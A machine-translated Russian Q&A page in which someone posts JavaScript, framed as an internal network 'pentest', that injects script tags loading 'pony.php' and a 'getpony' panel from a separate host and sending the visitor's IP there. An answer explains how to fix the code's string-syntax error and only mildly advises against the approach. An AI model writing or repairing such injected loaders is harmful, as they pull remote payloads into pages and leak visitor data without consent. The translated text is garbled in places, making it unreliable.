2013-08-15 3 views
0

Спасибо, что нашли время, чтобы прочитать это и помочь мне.Ошибка форматирования в формате Javascript?

Я пытаюсь выполнить внутреннее тестирование локальной сети и действительно не в javascript, что объясняет, почему мой код не работает.

Кто-нибудь знает, что не так? Я думаю, что мое форматирование где-то.

function pentest() 
{ 
x = document.getElementById("pentestpayload"); 

if (x == null) 
{ 
    document.write (" <script>function getip(json) { 
    document.write('<script type=\\\"application/javascript\\\" 
    src=\\\"http://192.168.1.64:1000/pony.php?id=\'+ 
    json.ip + \'\\\"></scr\'+\'ipt>'); 
};</script> 
"); 
document.write("<script id='pentestpayload' type='application/javascript' 
src='http://192.168.1.64:1001/panel/getpony.php?pony=getpony'></script>"); 
} 
} 
pentest(); 

поджигатель дает следующее сообщение об ошибке в консоли JavaScript:

SyntaxError: unterminated string literal 

document.write (" <script>function getip(json) { document.write('<script typ 

test.js (line 7, col 17)` 
+0

Используйте firebug, указав точное местонахождение ошибки – machineaddict

+0

... почему вы это делаете? Я гарантирую, что есть лучший способ. – FakeRainBrigand

+0

Я использовал firebug. Это дало ошибку, вставленную выше. Благодарю. –

ответ

0
document.write (" <script>function getip(json) { 

должен быть

document.write (" <script>function getip(json) { "); 

, как вы не окончание функции document.write() с закрытием " (который завершает строку) и ), который заканчивает fu nction.

Но это также неисправна, что вы, скорее всего, хотят, как сделать многострочный строку, вы форматировать как этот

"myString \ 
that keeps on rocking" 

Но то, что вы пытаетесь сделать, это на самом деле не оптимален и его следует избегать в общем и целом.

Смежные вопросы